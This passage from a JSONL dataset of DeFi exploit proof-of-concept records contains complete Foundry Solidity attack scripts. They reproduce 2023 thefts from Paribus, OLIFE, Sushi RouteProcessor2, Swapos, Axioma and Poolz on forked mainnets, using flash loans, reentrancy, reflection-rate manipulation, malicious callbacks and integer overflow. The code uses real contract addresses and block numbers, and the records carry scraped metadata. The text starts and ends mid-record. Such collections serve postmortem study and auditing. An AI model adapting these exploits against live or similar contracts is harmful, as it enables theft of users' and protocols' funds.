null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n init();\n run();\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", usdc.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"[End] Attacker DAI balance after exploit\", dai.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker YTUSD balance after exploit\", yTUSD.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "YearnFinance Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1645742620897955842\n// https://twitter.com/BlockSecTeam/status/1645744655357575170\n// https://twitter.com/peckshield/status/1645742296904929280\n// @TX\n// https://arbiscan.io/tx/0x0e29dcf4e9b211a811caf00fc8294024867bffe4ab2819cc1625d2e9d62390af\n// @Summary\n// a known reentrancy issue from the forked old version of CompoundV2\n\ninterface CurvePool {\n function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IWFTM WETH = IWFTM(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));\n IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n ICErc20Delegate pUSDT = ICErc20Delegate(0xD3e323a672F6568390f29f083259debB44C41f41);\n ICErc20Delegate pWBTC = ICErc20Delegate(0x367351F854506DA9B230CbB5E47332b8E58A1863);\n ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IUnitroller unitroller = IUnitroller(0x2130C88fd0891EA79430Fb490598a5d06bF2A545);\n CurvePool curvePool = CurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);\n Exploiter exploiter;\n uint256 nonce;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 79_308_097);\n cheats.label(address(WBTC), \"WBTC\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(pUSDT), \"pUSDT\");\n cheats.label(address(pETH), \"pETH\");\n cheats.label(address(pWBTC), \"pWBTC\");\n cheats.label(address(aaveV3), \"aaveV3\");\n cheats.label(address(curvePool), \"curvePool\");\n }\n\n function testExploit() external {\n payable(address(0)).transfer(address(this).balance);\n address[] memory assets = new address[](2);\n assets[0] = address(WETH);\n assets[1] = address(USDT);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 200 * 1e18;\n amounts[1] = 30_000 * 1e6;\n uint256[] memory modes = new uint256[](2);\n modes[0] = 0;\n modes[1] = 0;\n aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n exchangeUSDTWBTC();\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n USDT.approve(address(aaveV3), type(uint256).max);\n WETH.approve(address(aaveV3), type(uint256).max);\n USDT.approve(address(pUSDT), type(uint256).max);\n WBTC.approve(address(pWBTC), type(uint256).max);\n\n exploiter = new Exploiter();\n WETH.transfer(address(exploiter), 100 * 1e18);\n cheats.label(address(exploiter), \"exploiter\");\n exploiter.mint();\n\n WETH.withdraw(WETH.balanceOf(address(this)));\n payable(address(pETH)).call{value: address(this).balance}(\"\");\n pUSDT.mint(USDT.balanceOf(address(this)));\n address[] memory cTokens = new address[](2);\n cTokens[0] = address(pETH);\n cTokens[1] = address(pUSDT);\n unitroller.enterMarkets(cTokens);\n pETH.borrow(13_075_471_156_463_824_220);\n pETH.redeem(pETH.balanceOf(address(this))); // Reentrancy enter point\n\n exploiter.redeem();\n payable(address(WETH)).call{value: address(this).balance}(\"\");\n return true;\n }\n\n receive() external payable {\n if (nonce == 2) {\n pUSDT.borrow(USDT.balanceOf(address(pUSDT)));\n pWBTC.borrow(WBTC.balanceOf(address(pWBTC)));\n }\n nonce++;\n }\n\n function exchangeUSDTWBTC() internal {\n USDT.approve(address(curvePool), type(uint256).max);\n WBTC.approve(address(curvePool), type(uint256).max);\n curvePool.exchange(0, 2, USDT.balanceOf(address(this)), 0);\n curvePool.exchange(1, 2, WBTC.balanceOf(address(this)), 0);\n }\n}\n\ncontract Exploiter is Test {\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n ICErc20Delegate pETH = ICErc20Delegate(0x375Ae76F0450293e50876D0e5bDC3022CAb23198);\n\n function mint() external payable {\n WETH.withdraw(WETH.balanceOf(address(this)));\n payable(address(pETH)).call{value: address(this).balance}(\"\");\n }\n\n function redeem() external payable {\n pETH.redeem(pETH.balanceOf(address(this)));\n payable(address(WETH)).call{value: address(this).balance}(\"\");\n WETH.transfer(msg.sender, WETH.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Paribus", "date": "2023-04", "file_name": "Paribus_exp.sol", "attack_vector": "flash_loan", "content_hash": "427ae67093c0f223", "collected_at": "2026-01-07T10:59:16.547629", "_source": "postmortems", "chain": "arbitrum", "block_number": 79308097, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.54, "quality_estimate": "low", "title": "Paribus Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1648520494516420608\n// @TX\n// https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a\n// @Summary\n// The attacker called the `transfer()` and `deliver()` functions to reduce the number of rSupply and tSupply.\n// The value of rate is thus calculated less, increasing the number of reflected tokens in the pair,\n// Finally directly call swap to withdraw $WBNB from the pair.\n\ninterface IOceanLife {\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function deliver(\n uint256 tAmount\n ) external;\n function transfer(address recipient, uint256 amount) external returns (bool);\n}\n\ncontract ContractTest is Test {\n uint256 internal constant FLASHLOAN_WBNB_AMOUNT = 969 * 1e18;\n\n IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IOceanLife constant OLIFE = IOceanLife(0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa);\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair constant OLIFE_WBNB_LPPool = IPancakePair(0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84);\n\n address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 27_470_678);\n }\n\n function testExploit() external {\n DVM(dodo).flashLoan(FLASHLOAN_WBNB_AMOUNT, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function loopTransfer(\n uint256 num\n ) internal {\n uint256 i;\n while (i < num) {\n uint256 amount = OLIFE.balanceOf(address(this));\n OLIFE.transfer(address(this), amount);\n i++;\n }\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.approve(address(pancakeRouter), type(uint256).max);\n\n address[] memory swapPath = new address[](2);\n swapPath[0] = address(WBNB);\n swapPath[1] = address(OLIFE);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FLASHLOAN_WBNB_AMOUNT, 0, swapPath, address(this), block.timestamp\n );\n /* \n Reflection calculations\n Rate = rSupply / tSupply (Excluded users are not counted in the supply)\n balanceOf(pair) = rOwned[pair] / currentRate \n */\n emit log_named_decimal_uint(\n \"[INFO] OLIFE amount in pair before the currentRate reduction\",\n OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),\n 9\n );\n loopTransfer(19);\n\n OLIFE.deliver(66_859_267_695_870_000);\n\n emit log_named_decimal_uint(\n \"[INFO] OLIFE amount in pair after the currentRate reduction\",\n OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),\n 9\n );\n\n (uint256 oldOlifeReserve, uint256 bnbReserve,) = OLIFE_WBNB_LPPool.getReserves();\n uint256 newolifeReserve = OLIFE.balanceOf(address(OLIFE_WBNB_LPPool));\n uint256 amountin = newolifeReserve - oldOlifeReserve;\n uint256 swapAmount = amountin * 9975 * bnbReserve / (oldOlifeReserve * 10_000 + amountin * 9975);\n\n //swap OLIFE to WBNB\n OLIFE_WBNB_LPPool.swap(0, swapAmount, address(this), \"\");\n\n // repay\n WBNB.transfer(address(dodo), FLASHLOAN_WBNB_AMOUNT);\n }\n}\n", "type": "exploit_poc", "protocol": "OLIFE", "date": "2023-04", "file_name": "OLIFE_exp.sol", "attack_vector": "flash_loan", "content_hash": "7db91570b619d1f4", "collected_at": "2026-01-07T10:59:16.547678", "_source": "postmortems", "chain": "bsc", "block_number": 27470678, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.91, "quality_estimate": "low", "title": "OLIFE Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1644907207530774530\n// https://twitter.com/SlowMist_Team/status/1644936375924584449\n// https://twitter.com/AnciliaInc/status/1644925421006520320\n// @TX\n// https://library.dedaub.com/ethereum/tx/0x04b166e7b4ab5105a8e9c85f08f6346de1c66368687215b0e0b58d6e5002bc32\n// @Summary\n// Sushi RouteProcessor2 does not check user input `route` carefully.\n\ninterface IUniswapV3Pool {\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n}\n\ninterface IRouteProcessor2 {\n function processRoute(\n address tokenIn,\n uint256 amountIn,\n address tokenOut,\n uint256 amountOutMin,\n address to,\n bytes memory route\n ) external payable returns (uint256 amountOut);\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;\n\n function tridentCLSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;\n}\n//original route 0x01514910771af9ca656af840dff83e8264ecf986ca01000001f9a001d5b2c7c5e45693b41fcf931b94e680cac4000000000000000000000000000000000000000000\n// my route 0x01514910771af9ca656af840dff83e8264ecf986ca010000017fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000\n\ncontract SushiExp is Test, IUniswapV3Pool {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n address victim = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1;\n IRouteProcessor2 processor = IRouteProcessor2(0x044b75f554b886A065b9567891e45c79542d7357);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_007_841);\n\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(LINK), \"LINK\");\n }\n\n function testExp() external {\n uint8 commandCode = 1;\n uint8 num = 1;\n uint16 share = 0;\n uint8 poolType = 1;\n address pool = address(this);\n uint8 zeroForOne = 0;\n address recipient = address(0);\n bytes memory route =\n abi.encodePacked(commandCode, address(LINK), num, share, poolType, pool, zeroForOne, recipient);\n console.log(\"WETH balance before attack: %d\\n\", WETH.balanceOf(address(this)));\n\n processor.processRoute(\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, //native token\n 0,\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE,\n 0,\n 0x0000000000000000000000000000000000000000,\n route\n );\n\n console.log(\"WETH balance after attack: %d\\n\", WETH.balanceOf(address(this)));\n }\n\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1) {\n amount0 = 0;\n amount1 = 0;\n bytes memory malicious_data = abi.encode(address(WETH), victim);\n processor.uniswapV3SwapCallback(100 * 10 ** 18, 0, malicious_data);\n }\n}\n", "type": "exploit_poc", "protocol": "Sushi_Router", "date": "2023-04", "file_name": "Sushi_Router_exp.sol", "attack_vector": null, "content_hash": "5af111ede804de2f", "collected_at": "2026-01-07T10:59:16.547733", "_source": "postmortems", "chain": "unknown", "block_number": 17007841, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.72, "quality_estimate": "low", "title": "Sushi_Router Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1647530789947469825\n// https://twitter.com/BeosinAlert/status/1647552192243728385\n// @TX\n// https://etherscan.io/address/0x2df07c054138bf29348f35a12a22550230bd1405\n\n// @Contract\n\ninterface SWAPOS {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);\n function balanceOf(\n address\n ) external view returns (uint256);\n function transfer(address to, uint256 value) external returns (bool);\n}\n\ncontract ContractTest is Test {\n SWAPOS swpToken = SWAPOS(0x09176F68003c06F190ECdF40890E3324a9589557);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n SWAPOS swapPos = SWAPOS(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_057_419);\n cheats.label(address(WETH), \"weth\");\n cheats.label(address(swpToken), \"swpToken\");\n }\n\n function testExploit() external {\n WETH.deposit{value: 3 ether}();\n WETH.transfer(address(swapPos), 10);\n swapPos.swap(142_658_161_144_708_222_114_663, 0, address(this), \"\");\n (uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast) = swapPos.getReserves();\n emit log_named_decimal_uint(\"swapos balance\", _reserve0, 18);\n emit log_named_decimal_uint(\"ETH balance\", _reserve1, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "Swapos", "date": "2023-04", "file_name": "Swapos_exp.sol", "attack_vector": null, "content_hash": "6ece621f489c6a74", "collected_at": "2026-01-07T10:59:16.547782", "_source": "postmortems", "chain": "ethereum", "block_number": 17057419, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 0.87, "quality_estimate": "low", "title": "Swapos Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n@Analysis\nhttps://twitter.com/HypernativeLabs/status/1650382589847302145\n1. buy on presale\n2. sale on pancake v2\n@TX\nhttps://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2*/\n\ninterface IAxiomaPresale {\n function buyToken() external payable;\n}\n\ncontract ContractTest is Test {\n address axt = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;\n address axiomaPresale = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;\n address axt_wbnb_pair = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;\n address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address wbnb_usdt_b = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; // dodo wbnb-usdt pool\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 27_620_321 - 1);\n }\n\n function testExploit() public {\n uint256 flashLoanAmount = 32_500_000_000_000_000_000;\n address wbnb = DVM(wbnb_usdt_b)._BASE_TOKEN_();\n DVM(wbnb_usdt_b).flashLoan(flashLoanAmount, 0, address(this), abi.encode(wbnb_usdt_b, wbnb, flashLoanAmount));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n (address wbnb_usdt_b, address wbnb, uint256 flashLoanAmount) = abi.decode(data, (address, address, uint256));\n\n // 1. buy\n WETH(wbnb).withdraw(flashLoanAmount);\n IAxiomaPresale(axiomaPresale).buyToken{value: flashLoanAmount}();\n\n // 2. sale\n uint256 axtBalance = IERC20(axt).balanceOf(address(this));\n bscSwap(axt, wbnb, axtBalance);\n\n // 3. payback and get profit\n IERC20(wbnb).transfer(msg.sender, flashLoanAmount);\n uint256 profit = IERC20(wbnb).balanceOf(address(this));\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", profit, 18);\n }\n\n fallback() external payable {}\n\n function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {\n IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenFrom;\n path[1] = tokenTo;\n IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Axioma", "date": "2023-04", "file_name": "Axioma_exp.sol", "attack_vector": "flash_loan", "content_hash": "2f559c48cd1e6bd9", "collected_at": "2026-01-07T10:59:16.547820", "_source": "postmortems", "chain": "bsc", "block_number": 27620321, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n uint256 flashLoanAmount = 32_500_000_000_000_000_000;\n address wbnb = DVM(wbnb_usdt_b)._BASE_TOKEN_();\n DVM(wbnb_usdt_b).flashLoan(flashLoanAmount, 0, address(this), abi.encode(wbnb_usdt_b, wbnb, flashLoanAmount));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.21, "quality_estimate": "low", "title": "Axioma Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n\n IERC20 constant mnz = IERC20(0x861f1E1397daD68289e8f6a09a2ebb567f1B895C);\n\n IERC20 constant wod = IERC20(0x298632D8EA20d321fAB1C9B473df5dBDA249B2b6);\n\n IERC20 constant sip = IERC20(0x9e5965d28E8D44CAE8F9b809396E0931F9Df71CA);\n\n IERC20 constant ecio = IERC20(0x327A3e880bF2674Ee40b6f872be2050Ed406b021);\n\n IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n LockedDeal constant poolzpool = LockedDeal(payable(0x8BfAA473a899439d8E07BF86a8C6cE5De42fE54B));\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_475_403);\n }\n\n function testExploit() external {\n bytes memory data;\n address assetTo = address(this);\n data = \"poolz\";\n dppAdvanced.flashLoan(1e18, 0, assetTo, data);\n }\n\n function DPPFlashLoanCall(address, uint256, uint256, bytes memory data) external {\n if (keccak256(data) == keccak256(\"poolz\")) {\n console.log(\"Flashloan attacks\");\n emit log_named_decimal_uint(\"[Before mnz Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n address[] memory swapPath = new address[](3);\n\n wbnb.withdraw(1e18);\n\n swapPath[0] = address(wbnb);\n swapPath[1] = address(busd);\n swapPath[2] = address(mnz);\n\n pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);\n\n mnz.approve(address(poolzpool), type(uint256).max);\n sip.approve(address(poolzpool), type(uint256).max);\n ecio.approve(address(poolzpool), type(uint256).max);\n wod.approve(address(poolzpool), type(uint256).max);\n\n mnz.approve(address(pancakeRouter), type(uint256).max);\n sip.approve(address(pancakeRouter), type(uint256).max);\n ecio.approve(address(pancakeRouter), type(uint256).max);\n wod.approve(address(pancakeRouter), type(uint256).max);\n\n uint256 mnz_balance = mnz.balanceOf(address(poolzpool));\n uint256 overflow_data;\n\n overflow_data = type(uint256).max - mnz_balance + 2;\n\n uint64[] memory begintime = new uint64[](2);\n begintime[0] = uint64(block.timestamp);\n begintime[1] = uint64(block.timestamp);\n\n uint256[] memory transfer_data = new uint256[](2);\n transfer_data[0] = overflow_data;\n transfer_data[1] = mnz_balance;\n\n address[] memory owner_addr = new address[](2);\n owner_addr[0] = address(this);\n owner_addr[1] = address(this);\n\n uint256 firstPoolId;\n uint256 lastPoolId;\n\n (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(mnz), begintime, transfer_data, owner_addr);\n\n poolzpool.WithdrawToken(lastPoolId);\n\n uint256 mnz_number = mnz.balanceOf(address(this));\n\n emit log_named_decimal_uint(\"[mnz Exp] mnz pool balance\", mnz_number, 18);\n\n sellmnz();\n\n emit log_named_decimal_uint(\"[After mnz Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n wbnb.withdraw(1e18);\n\n emit log_named_decimal_uint(\"[Before sip Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n swapPath[0] = address(wbnb);\n swapPath[1] = address(busd);\n swapPath[2] = address(sip);\n\n pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);\n\n uint256 sip_balance = sip.balanceOf(address(poolzpool));\n emit log_named_decimal_uint(\"[sip Exp] pool sip balance\", sip.balanceOf(address(poolzpool)), 18);\n\n overflow_data = type(uint256).max - sip_balance + 2;\n\n transfer_data[0] = overflow_data;\n transfer_data[1] = sip_balance;\n\n (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(sip), begintime, transfer_data, owner_addr);\n\n poolzpool.WithdrawToken(lastPoolId);\n\n sellsip();\n\n emit log_named_decimal_uint(\"[After sip Exp] pool sip balance\", sip.balanceOf(address(poolzpool)), 18);\n\n emit log_named_decimal_uint(\"[After sip Exp] user wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n wbnb.withdraw(1e18);\n\n emit log_named_decimal_uint(\"[Before wod Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n address[] memory simplepath = new address[](2);\n\n simplepath[0] = address(wbnb);\n simplepath[1] = address(wod);\n\n pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, simplepath, address(this), block.timestamp);\n\n uint256 wod_balance = wod.balanceOf(address(poolzpool));\n emit log_named_decimal_uint(\"[wod Exp] pool wod balance\", wod.balanceOf(address(poolzpool)), 18);\n\n overflow_data = type(uint256).max - wod_balance + 2;\n\n transfer_data[0] = overflow_data;\n transfer_data[1] = wod_balance;\n\n (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(wod), begintime, transfer_data, owner_addr);\n\n poolzpool.WithdrawToken(lastPoolId);\n\n sellwod();\n\n emit log_named_decimal_uint(\"[After wod Exp] pool wod balance\", wod.balanceOf(address(poolzpool)), 18);\n\n emit log_named_decimal_uint(\"[After wod Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n wbnb.withdraw(1e18);\n\n emit log_named_decimal_uint(\"[Before ecio Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n swapPath[0] = address(wbnb);\n swapPath[1] = address(busd);\n swapPath[2] = address(ecio);\n\n pancakeRouter.swapExactETHForTokens{value: 1 ether}(1, swapPath, address(this), block.timestamp);\n\n uint256 ecio_balance = ecio.balanceOf(address(poolzpool));\n\n emit log_named_decimal_uint(\"[ecio Exp] pool ecio balance\", ecio.balanceOf(address(poolzpool)), 18);\n\n overflow_data = type(uint256).max - ecio_balance + 2;\n\n transfer_data[0] = overflow_data;\n transfer_data[1] = ecio_balance;\n\n (firstPoolId, lastPoolId) = poolzpool.CreateMassPools(address(ecio), begintime, transfer_data, owner_addr);\n\n poolzpool.WithdrawToken(lastPoolId);\n\n sellecio();\n\n emit log_named_decimal_uint(\"[After ecio Exp] pool ecio balance\", ecio.balanceOf(address(poolzpool)), 18);\n\n emit log_named_decimal_uint(\"[After ecio Exp] wbnb balance\", wbnb.balanceOf(address(this)), 18);\n\n emit log_named_decimal_uint(\n \"[Total exploit wbnb balance ] wbnb balance\", wbnb.balanceOf(address(this)), 18\n );\n\n wbnb.transfer(address(dppAdvanced), 1 * 1e18);\n }\n }\n\n function sellecio() internal {\n address[] memory path = new address[](3);\n path[0] = address(ecio);\n path[1] = address(busd);\n path[2] = address(wbnb);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ecio.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function sellwod() internal {\n address[] memory path = new address[](2);\n path[0] = address(wod);\n path[1] = address(wbnb);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n wod.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function sellsip() internal {\n address[] memory path = new address[](3);\n path[0] = address(sip);\n path[1] = address(busd);\n path[2] = address(wbnb);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n sip.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function sellmnz() internal {\n address[] memory path = new address[](3);\n path[0] = 